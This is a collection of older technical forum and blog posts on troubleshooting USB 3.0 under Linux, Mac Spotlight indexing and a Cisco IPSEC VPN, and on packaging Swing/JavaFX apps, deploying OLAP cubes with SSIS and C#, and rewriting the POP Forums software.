ffff88014669af40 [ 43.422671] xhci_hcd 0000:04:00.0: xHCI xhci_drop_endpoint called with disabled ep ffff88014669af80 [ 43.422677] xhci_hcd 0000:04:00.0: xHCI xhci_drop_endpoint called with disabled ep ffff88014669afc0 [ 43.531159] xhci_hcd 0000:04:00.0: WARN no SS endpoint bMaxBurst [ 125.160248] xhci_hcd 0000:04:00.0: WARN no SS endpoint bMaxBurst [ 903.766466] usb 3-1: new SuperSpeed USB device using xhci_hcd and address 3 [ 903.807789] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 903.813530] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 903.819400] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 903.825104] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 903.855067] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 903.862314] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 903.862597] xhci_hcd 0000:04:00.0: WARN no SS endpoint bMaxBurst [ 903.913211] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 904.424416] xhci_hcd 0000:04:00.0: WARN: babble error on endpoint [ 904.424599] xhci_hcd 0000:04:00.0: WARN Set TR Deq Ptr cmd invalid because of stream ID configuration [ 904.424700] xhci_hcd 0000:04:00.0: ERROR Transfer event for disabled endpoint or incorrect stream ring [ 935.139021] usb 3-1: reset SuperSpeed USB device using xhci_hcd and address 3 [ 935.226075] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 935.226140] xhci_hcd 0000:04:00.0: xHCI xhci_drop_endpoint called with disabled ep ffff880148186b00 [ 935.226148] xhci_hcd 0000:04:00.0: xHCI xhci_drop_endpoint called with disabled ep ffff880148186b40 [ 935.226153] xhci_hcd 0000:04:00.0: xHCI xhci_drop_endpoint called with disabled ep ffff880148186b80 [ 935.226159] xhci_hcd 0000:04:00.0: xHCI xhci_drop_endpoint called with disabled ep ffff880148186bc0 [ 935.343339] xhci_hcd 0000:04:00.0: WARN no SS endpoint bMaxBurst I thought it might be that the firmware wasn't compatible with linux or something, but when booting a live image of partedmagic, (2.6.38.4-pmagic), the drive was detected fine, I could mount it and got usb 3.0 speeds (at least they double the speeds I got from plugging same drive in usb 2 ports). dmesg in partedmagic did say something about no SuperSpeed endpoint which was an error I saw in a previous dmesg of ubuntu: Jun 27 15:49:02 (none) user.info kernel: [ 2.978743] xhci_hcd 0000:04:00.0: PCI INT A -> GSI 18 (level, low) -> IRQ 18 Jun 27 15:49:02 (none) user.debug kernel: [ 2.978771] xhci_hcd 0000:04:00.0: setting latency timer to 64 Jun 27 15:49:02 (none) user.info kernel: [ 2.978781] xhci_hcd 0000:04:00.0: xHCI Host Controller Jun 27 15:49:02 (none) user.info kernel: [ 2.978856] xhci_hcd 0000:04:00.0: new USB bus registered, assigned bus number 3 Jun 27 15:49:02 (none) user.info kernel: [ 3.089458] xhci_hcd 0000:04:00.0: irq 18, io mem 0xc5400000 Jun 27 15:49:02 (none) user.debug kernel: [ 3.089541] xhci_hcd 0000:04:00.0: irq 42 for MSI/MSI-X Jun 27 15:49:02 (none) user.debug kernel: [ 3.089544] xhci_hcd 0000:04:00.0: irq 43 for MSI/MSI-X Jun 27 15:49:02 (none) user.debug kernel: [ 3.089546] xhci_hcd 0000:04:00.0: irq 44 for MSI/MSI-X Jun 27 15:49:02 (none) user.debug kernel: [ 3.089548] xhci_hcd 0000:04:00.0: irq 45 for MSI/MSI-X Jun 27 15:49:02 (none) user.debug kernel: [ 3.089550] xhci_hcd 0000:04:00.0: irq 46 for MSI/MSI-X Jun 27 15:49:02 (none) user.warn kernel: [ 3.092857] usb usb3: No SuperSpeed endpoint companion for config 1 interface 0 altsetting 0 ep 129: using minimum values Jun 27 15:49:02 (none) user.info kernel: [ 3.092864] usb usb3: New USB device found, idVendor=1d6b, idProduct=0003 Jun 27 15:49:02 (none) user.info kernel: [ 3.092866] usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1 Jun 27 15:49:02 (none) user.info kernel: [ 3.092867] usb usb3: Product: xHCI Host Controller Jun 27 15:49:02 (none) user.info kernel: [ 3.092869] usb usb3: Manufacturer: Linux 2.6.38.4-pmagic xhci_hcd Jun 27 15:49:02 (none) user.info kernel: [ 3.092870] usb usb3: SerialNumber: 0000:04:00.0 Jun 27 15:49:02 (none) user.debug kernel: [ 3.092961] xHCI xhci_add_endpoint called for root hub Jun 27 15:49:02 (none) user.debug kernel: [ 3.092963] xHCI xhci_check_bandwidth called for root hub Well I have no idea what's going wrong, and I haven't had much luck from google and the forums so far. A number of unanswered threads with people with similar error messages and problems only. Hopefully someone here can help or point me in the right direction?!

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• Spotlight Infinite Indexing issue (external data drive)

  - by Manca Weeks

  This is an external drive, formerly a boot drive which is now in use only to access music files (sibelius, audio, midi, live, logic etc.) without transferring the data into a new boot system, partly because of the issue I am about to describe, but mostly because the majority of the data is mainly there for archival purposes. The user is a composer and prominent musician and needs to be able to rehash the data at will. I have tried several things - here is a list: - make complete filesystem clone with antonio diaz's ddrescue - run Disk Warrior on copy, repair whatever errors occurred - wipe out all ACLs on entire drive - set all permissions to the same value - wide open 777 - remove any system data (applications, system files, including hidden files to the best of my knowledge) by selecting only non-system/app data and using Carbon Copy Cloner to put only the data of interest onto a newly formatted drive - transfer data to newly formatted drive folder by folder, resetting the spotlight index in between adding each to observe for issues (interesting here is that no issues occurred except for in Documents folder - when I transferred only the Documents folder to a newly formatted drive on its own - no trouble. It appears almost as thought it may not be the content but the quantity or specific combination of data that results in problems) - use DataRescue to transfer the data to yet another newly formatted drive to expose any missed hidden files Between each of the above steps I stopped Spotlight (search for anything beginning with md in Activity Monitor - All Processes and quitting it), deleted the .Spotlight-V100 directory from the affected drive. Restart Splotlight indexing by adding drive to Spotlight privacy list and removing it. In each case the same issue occurs - Spotlight begins indexing normally (or so it seems), then the index estimated time increases, usually to 4 hours remaining. This is where it gets stuck and continues to predict 4 hours remaining but never finishes. Sometimes I can't eject the drive and have to quit the md.. processes from Activity Monitor to be able to eject the drive without Force Eject. Once I disconnect the drive after the 4 hours remaining situation - if I reattach it, Spotlight forever estimates remaining time and never gets going again. So there it is. It is apparently not a filesystem issue, not a permissions issue and not tied to any particular piece of hardware or protocol (used USB and FW drives). I have tried this on several machines (3 to be precise) and in 10.5.8 and 10.6.5. Simply disabling Spotlight on this volume is not an option because the owner has no clue where things are as the data on the volume dates back to music projects and compositions from 2003 and before. He needs to be able to query for results. Anyone got any ideas? ---update 2-6-11 Since I have not received any responses except the one below which appears to misunderstand my point, I am updating this post hoping to get more responses. I have used the terminal command sudo opensnoop -p PID where PID is the mdworker process ID to try and determine what Spotlight is doing and hopefully find the files it's having trouble with. Here's what happens: After indexing for a few hours, mdworker is gone. It no longer shows up in Activity Monitor under "All Processes" and the Terminal window with the opensnoop result stops moving. I then proceeded to execute the same command on mds to see what it was doing and here's what I get, repeatedly: 501 57 mds 21 / 501 57 mds 21 /Volumes/Sno Leppard 501 57 mds 21 /Volumes/Tiger 501 57 mds 21 /Volumes/Leppard 501 57 mds 21 /Volumes/Disk Warrior 501 57 mds 21 /Volumes/ONM Data These represent all the volumes currently mounted in the system. All except ONM Data, which is the one I am trying to index, are excluded from SPotlight indexing at the moment. The sequence above repeats over and over, with slight variation, sometimes skipping one of the volumes. Questions - what happened to mdworker? What is mds doing? I will let this run until tomorrow morning and throughout the day and monitor for any changes. Any input would be very much appreciated. Even if you're not sure what the ultimate answer is, please alert me to anything you think I may be missing. Hopefully at some point we will figure this out... Thanks, M __final edit__ I finally resolved the issue and here is how I did it. I used the terminal command "sudo opensnoop -p PID" where the PID is the process id of the processes I was monitoring. I was looking at all instances of mds and mdworker running in the system. After the third time through indexing the same data set (see info above), I contacted Apple and got to their highest level of support - they were flabbergasted as well. They advised me to install yet another default 10.6.6 system and try again. The same pattern repeated - mds and mdworker(s) would start indexing and eventually the spotlight icon would say 6 hours remaining and all mdworkers were gone, mds at 90% or so of CPU. But I did finally figure out that the first time mdworker stopped like that, the last file it touched was always in the same folder. I excluded that folder from spotlight search and the rest of the data set indexed within about 2 hours with no strange behavior or failures. I copied that folder to another machine and Spotlight barfed immediately. Exclude that folder and all is well again. I have no clue what is causing this behavior, still, but I did find a functional solution to the problem. Anyone with a similar problem - run opensnoop on all instances of mds and mdworker and wait patiently for wdworker to exit. Look at the last file it touched and exclude the enclosing folder from being indexed. I was able to repeat the issue and solution on 2 different installs and 2 different copies of the data set. Hope this helps. If we find an actual cause of the folder being such a problem (it is called MICHAEL BRECKER RECORD SOLOS and contains almost 1 GB of audio related files - performer, live, SD2 - things like that), I will edit again to let you all know. Thanks for ay attempts to help, M

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• OSX 10.6 Cisco IPSEC strange behavior

  - by tair

  I'm trying to connect to Cisco IPSEC VPN of my company over DSL Internet. I managed to successfully connect using Cisco VPN Client, now I'm trying to switch to OSX 10.6 native client, because of licensing issues. The problems is that the connection fails with a dialog box containing the message: The negotiation with the VPN server failed. Verify the server address and try reconnecting. I checked logs: Jun 29 13:10:39 racoon[4551]: Connecting. Jun 29 13:10:39 racoon[4551]: IKE Packet: transmit success. (Initiator, Aggressive-Mode message 1). Jun 29 13:10:39 racoon[4551]: IKEv1 Phase1 AUTH: success. (Initiator, Aggressive-Mode Message 2). Jun 29 13:10:39 racoon[4551]: IKE Packet: receive success. (Initiator, Aggressive-Mode message 2). Jun 29 13:10:39 racoon[4551]: IKEv1 Phase1 Initiator: success. (Initiator, Aggressive-Mode). Jun 29 13:10:39 racoon[4551]: IKE Packet: transmit success. (Initiator, Aggressive-Mode message 3). Jun 29 13:10:42 racoon[4551]: IKE Packet: transmit success. (Mode-Config message). Jun 29 13:10:42 racoon[4551]: IKEv1 XAUTH: success. (XAUTH Status is OK). Jun 29 13:10:42 racoon[4551]: IKE Packet: transmit success. (Mode-Config message). Jun 29 13:10:42 racoon[4551]: IKEv1 Config: retransmited. (Mode-Config retransmit). Jun 29 13:10:42 racoon[4551]: IKE Packet: receive success. (MODE-Config). Jun 29 13:10:42 configd[19]: event_callback: Address added. previous interface setting (name: en1, address: 192.168.1.107), current interface setting (name: u92.168.54.147, subnet: 255.255.255.0, destination: 192.168.54.147). Jun 29 13:10:42 configd[19]: network configuration changed. Jun 29 13:10:42 vmnet-bridge[111]: Dynamic store changed Jun 29 13:10:42 named[62]: not listening on any interfaces Jun 29 13:10:58: --- last message repeated 1 time --- Jun 29 13:10:58 configd[19]: SCNCController: Disconnecting. (Connection tried to negotiate for, 16 seconds). Jun 29 13:10:58 racoon[4551]: IKE Packet: transmit success. (Information message). Jun 29 13:10:58 racoon[4551]: IKEv1 Information-Notice: transmit success. (Delete ISAKMP-SA). Jun 29 13:10:58 racoon[4551]: Disconnecting. (Connection tried to negotiate for, 19.113382 seconds). Jun 29 13:10:58 named[62]: not listening on any interfaces Jun 29 13:10:58 vmnet-bridge[111]: Dynamic store changed Jun 29 13:10:58 named[62]: not listening on any interfaces Jun 29 13:10:58 configd[19]: network configuration changed. Then I opened Terminal, started pinging a server behind VPN, and tried to connect again. Now connection is OK! Logs this time: Jun 29 13:46:53 racoon[8136]: Connecting. Jun 29 13:46:53 racoon[8136]: IKE Packet: transmit success. (Initiator, Aggressive-Mode message 1). Jun 29 13:46:53 racoon[8136]: IKEv1 Phase1 AUTH: success. (Initiator, Aggressive-Mode Message 2). Jun 29 13:46:53 racoon[8136]: IKE Packet: receive success. (Initiator, Aggressive-Mode message 2). Jun 29 13:46:53 racoon[8136]: IKEv1 Phase1 Initiator: success. (Initiator, Aggressive-Mode). Jun 29 13:46:53 racoon[8136]: IKE Packet: transmit success. (Initiator, Aggressive-Mode message 3). Jun 29 13:46:56 racoon[8136]: IKE Packet: transmit success. (Mode-Config message). Jun 29 13:46:56 racoon[8136]: IKEv1 XAUTH: success. (XAUTH Status is OK). Jun 29 13:46:56 racoon[8136]: IKE Packet: transmit success. (Mode-Config message). Jun 29 13:46:56 racoon[8136]: IKEv1 Config: retransmited. (Mode-Config retransmit). Jun 29 13:46:56 racoon[8136]: IKE Packet: receive success. (MODE-Config). Jun 29 13:46:56 configd[19]: event_callback: Address added. previous interface setting (name: en1, address: 192.168.1.107), current interface settinaddress: 192.168.54.149, subnet: 255.255.255.0, destination: 192.168.54.149). Jun 29 13:46:56 vmnet-bridge[111]: Dynamic store changed Jun 29 13:46:56 named[62]: not listening on any interfaces Jun 29 13:46:56 configd[19]: network configuration changed. Jun 29 13:46:56 named[62]: not listening on any interfaces Jun 29 13:46:56 racoon[8136]: IKE Packet: transmit success. (Initiator, Quick-Mode message 1). Jun 29 13:46:56 racoon[8136]: IKE Packet: receive success. (Initiator, Quick-Mode message 2). Jun 29 13:46:56 racoon[8136]: IKE Packet: transmit success. (Initiator, Quick-Mode message 3). Jun 29 13:46:56 racoon[8136]: IKEv1 Phase2 Initiator: success. (Initiator, Quick-Mode). Jun 29 13:46:56 racoon[8136]: Connected. Jun 29 13:46:56 configd[19]: SCNCController: Connected. I tested it several times and it consistently behaves the same. What is the magic?

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• Packaging Swing apps with integrated JavaFX content

  - by igor

  JavaFX provides a lot of interesting capabilities for developing rich client applications in Java, but what if you are working on an existing Swing application and you want to take advantage of these new features?  Maybe you want to use one or two controls like the LineChart or a MediaView.  Maybe you want to embed a large Scene Graph as an initial step in porting your application to FX.  A hybrid Swing/FX application might just be the answer. Developing a hybrid Swing + JavaFX application is not terribly difficult, but until recently the deployment of hybrid applications has not simple as a "pure" JavaFX application.  The existing tools focused on packaging FX Applications, or Swing applications - they did not account for hybrid applications. But with JavaFX 2.2 the tools include support for this hybrid application use case.  Solution  In JavaFX 2.2 we extended the packaging ant tasks to greatly simplify deploying hybrid applications.  You now use the same deployment approach as you would for pure JavaFX applications.  Just bundle your main application jar with the fx:jar ant task and then generate html/jnlp files using fx:deploy.  The only difference is setting toolkit attribute for the fx:application tag as shown below: <fx:application id="swingFXApp" mainClass="${main.class}" toolkit="swing"/>  The value of ${main.class} in the example above is your application class which has a main method.  It does not need to extend JavaFX Application class. The resulting package provides support for the same set of execution modes as a package for a JavaFX application, although the packages which are created are not identical to the packages created for a pure FX application.  You will see two JNLP files generated in the case of a hybrid application - one for use from Swing applet and another for the webstart launch.  Note that these improvements do not alter the set of features available to Swing applications. The packaging tools just make it easier to use the advanced features of JavaFX in your Swing application. The same limits still apply, for example a Swing application can not use JavaFX Preloaders and code changes are necessary to support HTML splash screens. Why should I use the JavaFX ant tasks for packaging my Swing application?  While using FX packaging tool for a Swing application may seem like a mismatch at face value, there are some really good reasons to use this approach.  The primary justification for our packaging tools is to simplify the creation of your application artifacts, and to reduce manual errors.  Plus, no one should have to write JNLP by hand. Some specific benefits include: Your application jar will include a launcher program.  This improves your standalone launch by: checking for the JavaFX runtime guiding the user through any necessary installations setting the system proxy for Java The ant tasks will generate JNLP and HTML files for your swing app: avoids learning unnecessary details about JNLP, and eliminates the error-prone hand editing of JNLP files simplifies using advanced features like embedding JNLP and signing jars as BLOBs to improve launch performance.you can also embed the signing certificate details to improve the user's experience  allows the use of web page templates to inject the generated code directly into your actual web page instead of being forced to copy/paste the generated code snippets. What about native packing? Absolutely!  The very same ant task can generate a native bundle for a Swing application with JavaFX content.  Try running one of these sample native bundles for the "SwingInterop" FX example: exe and dmg.   I also used another feature on these examples: a click-through license agreement for .exe installers and OS X DMG drag installers. Small Caveat This packaging procedure is optimized around using the JavaFX packaging tools for your entire Swing application.  If you are trying to embed JavaFX content into existing project (with an existing build/packing process) then you may need to experiment in order to find the best way to integrate the JavaFX packaging steps into your existing build procedure. As long as you can use ant in your build process this should be a workable approach. It some cases solution could be less than ideal. For example, you need to use fx:jar to package your main jar file in order to produce a double-clickable jar or a native bundle.  The jar will be created from scratch, but you may already be creating the main jar file with a custom manifest.  This may lead to some redundant steps in your build process.  Hopefully the benefits will outweigh the problems. This is an area of ongoing development for the team, and we will continue to refine and improve both the tools and the process. Please share your experiences and suggestions with us.  You can comment here on the blog or file issues to JIRA. Sample code Here is the full ant code used to package SwingInterop.  You can grab latest JavaFX samples and try it yourself:  <target name="-post-jar"> <taskdef resource="com/sun/javafx/tools/ant/antlib.xml" uri="javafx:com.sun.javafx.tools.ant" classpath="${javafx.tools.ant.jar}"/> <!-- Mark application as Swing-based --> <fx:application id="swingFXApp" mainClass="${main.class}" toolkit="swing"/> <!-- Create doubleclickable jar file with embedded launcher --> <fx:jar destfile="${dist.jar}"> <fileset dir="${build.classes.dir}"/> <fx:application refid="swingFXApp" name="SwingInterop"/> <manifest> <attribute name="Implementation-Vendor" value="${application.vendor}"/> <attribute name="Implementation-Title" value="${application.title}"/> <attribute name="Implementation-Version" value="1.0"/> </manifest> </fx:jar> <!-- sign application jar. Use new self signed certificate --> <delete file="${build.dir}/test.keystore"/> <genkey alias="TestAlias" storepass="xyz123" keystore="${build.dir}/test.keystore" dname="CN=Samples, OU=JavaFX Dev, O=Oracle, C=US"/> <fx:signjar keystore="${build.dir}/test.keystore" alias="TestAlias" storepass="xyz123"> <fileset file="${dist.jar}"/> </fx:signjar> <!-- generate JNLPs, HTML and native bundles --> <fx:deploy width="960" height="720" includeDT="true" nativeBundles="all" outdir="${basedir}/${dist.dir}" embedJNLP="true" outfile="${application.title}"> <fx:application refId="swingFXApp"/> <fx:resources> <fx:fileset dir="${basedir}/${dist.dir}" includes="SwingInterop.jar"/> </fx:resources> <fx:permissions/> <info title="Sample app: ${application.title}" vendor="${application.vendor}"/> </fx:deploy> </target>

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• SSIS: Deploying OLAP cubes using C# script tasks and AMO

  - by DrJohn

  As part of the continuing series on Building dynamic OLAP data marts on-the-fly, this blog entry will focus on how to automate the deployment of OLAP cubes using SQL Server Integration Services (SSIS) and Analysis Services Management Objects (AMO). OLAP cube deployment is usually done using the Analysis Services Deployment Wizard. However, this option was dismissed for a variety of reasons. Firstly, invoking external processes from SSIS is fraught with problems as (a) it is not always possible to ensure SSIS waits for the external program to terminate; (b) we cannot log the outcome properly and (c) it is not always possible to control the server's configuration to ensure the executable works correctly. Another reason for rejecting the Deployment Wizard is that it requires the 'answers' to be written into four XML files. These XML files record the three things we need to change: the name of the server, the name of the OLAP database and the connection string to the data mart. Although it would be reasonably straight forward to change the content of the XML files programmatically, this adds another set of complication and level of obscurity to the overall process. When I first investigated the possibility of using C# to deploy a cube, I was surprised to find that there are no other blog entries about the topic. I can only assume everyone else is happy with the Deployment Wizard! SSIS "forgets" assembly references If you build your script task from scratch, you will have to remember how to overcome one of the major annoyances of working with SSIS script tasks: the forgetful nature of SSIS when it comes to assembly references. Basically, you can go through the process of adding an assembly reference using the Add Reference dialog, but when you close the script window, SSIS "forgets" the assembly reference so the script will not compile. After repeating the operation several times, you will find that SSIS only remembers the assembly reference when you specifically press the Save All icon in the script window. This problem is not unique to the AMO assembly and has certainly been a "feature" since SQL Server 2005, so I am not amazed it is still present in SQL Server 2008 R2! Sample Package So let's take a look at the sample SSIS package I have provided which can be downloaded from here: DeployOlapCubeExample.zip  Below is a screenshot after a successful run. Connection Managers The package has three connection managers: AsDatabaseDefinitionFile is a file connection manager pointing to the .asdatabase file you wish to deploy. Note that this can be found in the bin directory of you OLAP database project once you have clicked the "Build" button in Visual Studio TargetOlapServerCS is an Analysis Services connection manager which identifies both the deployment server and the target database name. SourceDataMart is an OLEDB connection manager pointing to the data mart which is to act as the source of data for your cube. This will be used to replace the connection string found in your .asdatabase file Once you have configured the connection managers, the sample should run and deploy your OLAP database in a few seconds. Of course, in a production environment, these connection managers would be associated with package configurations or set at runtime. When you run the sample, you should see that the script logs its activity to the output screen (see screenshot above). If you configure logging for the package, then these messages will also appear in your SSIS logging. Sample Code Walkthrough Next let's walk through the code. The first step is to parse the connection string provided by the TargetOlapServerCS connection manager and obtain the name of both the target OLAP server and also the name of the OLAP database. Note that the target database does not have to exist to be referenced in an AS connection manager, so I am using this as a convenient way to define both properties. We now connect to the server and check for the existence of the OLAP database. If it exists, we drop the database so we can re-deploy. svr.Connect(olapServerName); if (svr.Connected) { // Drop the OLAP database if it already exists Database db = svr.Databases.FindByName(olapDatabaseName); if (db != null) { db.Drop(); } // rest of script } Next we start building the XMLA command that will actually perform the deployment. Basically this is a small chuck of XML which we need to wrap around the large .asdatabase file generated by the Visual Studio build process. // Start generating the main part of the XMLA command XmlDocument xmlaCommand = new XmlDocument(); xmlaCommand.LoadXml(string.Format("<Batch Transaction='false' xmlns='http://schemas.microsoft.com/analysisservices/2003/engine'><Alter AllowCreate='true' ObjectExpansion='ExpandFull'><Object><DatabaseID>{0}</DatabaseID></Object><ObjectDefinition/></Alter></Batch>", olapDatabaseName));  Next we need to merge two XML files which we can do by simply using setting the InnerXml property of the ObjectDefinition node as follows: // load OLAP Database definition from .asdatabase file identified by connection manager XmlDocument olapCubeDef = new XmlDocument(); olapCubeDef.Load(Dts.Connections["AsDatabaseDefinitionFile"].ConnectionString); // merge the two XML files by obtain a reference to the ObjectDefinition node oaRootNode.InnerXml = olapCubeDef.InnerXml;   One hurdle I had to overcome was removing detritus from the .asdabase file left by the Visual Studio build. Through an iterative process, I found I needed to remove several nodes as they caused the deployment to fail. The XMLA error message read "Cannot set read-only node: CreatedTimestamp" or similar. In comparing the XMLA generated with by the Deployment Wizard with that generated by my code, these read-only nodes were missing, so clearly I just needed to strip them out. This was easily achieved using XPath to find the relevant XML nodes, of which I show one example below: foreach (XmlNode node in rootNode.SelectNodes("//ns1:CreatedTimestamp", nsManager)) { node.ParentNode.RemoveChild(node); } Now we need to change the database name in both the ID and Name nodes using code such as: XmlNode databaseID = xmlaCommand.SelectSingleNode("//ns1:Database/ns1:ID", nsManager); if (databaseID != null) databaseID.InnerText = olapDatabaseName; Finally we need to change the connection string to point at the relevant data mart. Again this is easily achieved using XPath to search for the relevant nodes and then replace the content of the node with the new name or connection string. XmlNode connectionStringNode = xmlaCommand.SelectSingleNode("//ns1:DataSources/ns1:DataSource/ns1:ConnectionString", nsManager); if (connectionStringNode != null) { connectionStringNode.InnerText = Dts.Connections["SourceDataMart"].ConnectionString; } Finally we need to perform the deployment using the Execute XMLA command and check the returned XmlaResultCollection for errors before setting the Dts.TaskResult. XmlaResultCollection oResults = svr.Execute(xmlaCommand.InnerXml);  // check for errors during deployment foreach (Microsoft.AnalysisServices.XmlaResult oResult in oResults) { foreach (Microsoft.AnalysisServices.XmlaMessage oMessage in oResult.Messages) { if ((oMessage.GetType().Name == "XmlaError")) { FireError(oMessage.Description); HadError = true; } } } If you are not familiar with XML programming, all this may all seem a bit daunting, but perceiver as the sample code is pretty short. If you would like the script to process the OLAP database, simply uncomment the lines in the vicinity of Process method. Of course, you can extend the script to perform your own custom processing and to even synchronize the database to a front-end server. Personally, I like to keep the deployment and processing separate as the code can become overly complex for support staff.If you want to know more, come see my session at the forthcoming SQLBits conference.

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• Lessons from rewriting POP Forums for MVC, open source-like

  - by Jeff

  It has been a ton of work, interrupted over the last two years by unemployment, moving, a baby, failing to sell houses and other life events, but it's really exciting to see POP Forums v9 coming together. I'm not even sure when I decided to really commit to it as an open source project, but working on the same team as the CodePlex folks probably had something to do with it. Moving along the roadmap I set for myself, the app is now running on a quasi-production site... we launched MouseZoom last weekend. (That's a post-beta 1 build of the forum. There's also some nifty Silverlight DeepZoom goodness on that site.)I have to make a point to illustrate just how important starting over was for me. I started this forum thing for my sites in old ASP more than ten years ago. What a mess that stuff was, including SQL injection vulnerabilities and all kinds of crap. It went to ASP.NET in 2002, but even then, it felt a little too much like script. More than a year later, in 2003, I did an honest to goodness rewrite. If you've been in this business of writing code for any amount of time, you know how much you hate what you wrote a month ago, so just imagine that with seven years in between. The subsequent versions still carried a fair amount of crap, and that's why I had to start over, to make a clean break. Mind you, much of that crap is still running on some of my production sites in a stable manner, but it's a pain in the ass to maintain.So with that clean break, there is much that I have learned. These are a few of those lessons, in no particular order...Avoid shiny object syndromeOver the years, I've embraced new things without bothering to ask myself why. I remember spending the better part of a year trying to adapt this app to use the membership and profile API's in ASP.NET, just because they were there. They didn't solve any known problem. Early on in this version, I dabbled in exotic ORM's, even though I already had the fundamental SQL that I knew worked. I bloated up the client side code with all kinds of jQuery UI and plugins just because, and it got in the way. All the new shiny can be distracting, and I've come to realize that I've allowed it to be a distraction most of my professional life.Just query what you needI've spent a lot of time over-thinking how to query data. In the SQL world, this means exotic joins, special caches, the read-update-commit loop of ORM's, etc. There are times when you have to remind yourself that you aren't Facebook, you'll never be Facebook, and that databases are in fact intended to serve data. In a lot of projects, back in the day, I used to have these big, rich data objects and pass them all over the place, through various application tiers, when in reality, all I needed was some ID from the entity. I try to be mindful of how many queries hit the database on a given request, but I don't obsess over it. I just get what I need.Don't spend too much time worrying about your unit testsIf you've looked at any of the tests for POP Forums, you might offer an audible WTF. That's OK. There's a whole lot of mocking going on. In some cases, it points out where you're doing too much, and that's good for improving your design. In other cases it shows where your design sucks. But the biggest trap of unit testing is that you worry it should be prettier. That's a waste of time. When you write a test, in many cases before the production code, the important part is that you're testing the right thing. If you have to mock up a bunch of stuff to test the outcome, so be it, but it's not wasted time. You're still doing up the typical arrange-action-assert deal, and you'll be able to read that later if you need to.Get back to your HTTP rootsASP.NET Webforms did a reasonably decent job at abstracting us away from the stateless nature of the Web. A lot of people criticize it, but I think it all worked pretty well. These days, with MVC, jQuery, REST services, and what not, we've gone back to thinking about the wire. The nuts and bolts passing between our Web browser and server matters. This doesn't make things harder, in my opinion, it makes them easier. There is something incredibly freeing about how we approach development of Web apps now. HTTP is a really simple protocol, and the stuff we push through it, in particular HTML and JSON, are pretty simple too. The debugging points are really easy to trap and trace.Premature optimization is prematureI'll go back to the data thing for a moment. I've been known to look at a particular action or use case and stress about the number of calls that are made to the database. I'm not suggesting that it's a bad thing to keep these in mind, but if you worry about it outside of the context of the actual impact, you're wasting time. For example, I query the database for last read times in a forum separately of the user and the list of forums. The impact on performance barely exists. If I put it under load, exceeding the kind of load I expect, it still barely has an impact. Then consider it only counts for logged in users. The context of this "inefficient" action is that it doesn't matter. Did I mention I won't be Facebook?Solve your own problems firstThis is another trap I've fallen into. I've often thought about what other people might need for some feature or aspect of the app. In other words, I was willing to make design decisions based on non-existent data. How stupid is that? When I decided to truly open source this thing, building for myself first was a stated design goal. This app has to server the audiences of CoasterBuzz, MouseZoom and other sites first. In this development scenario, you don't have access to mountains of usability studies or user focus groups. You have to start with what you know.I'm sure there are other points I could make too. It has been a lot of fun to work on, and I look forward to evolving the UI as time goes on. That's where I hope to see more magic in the future.

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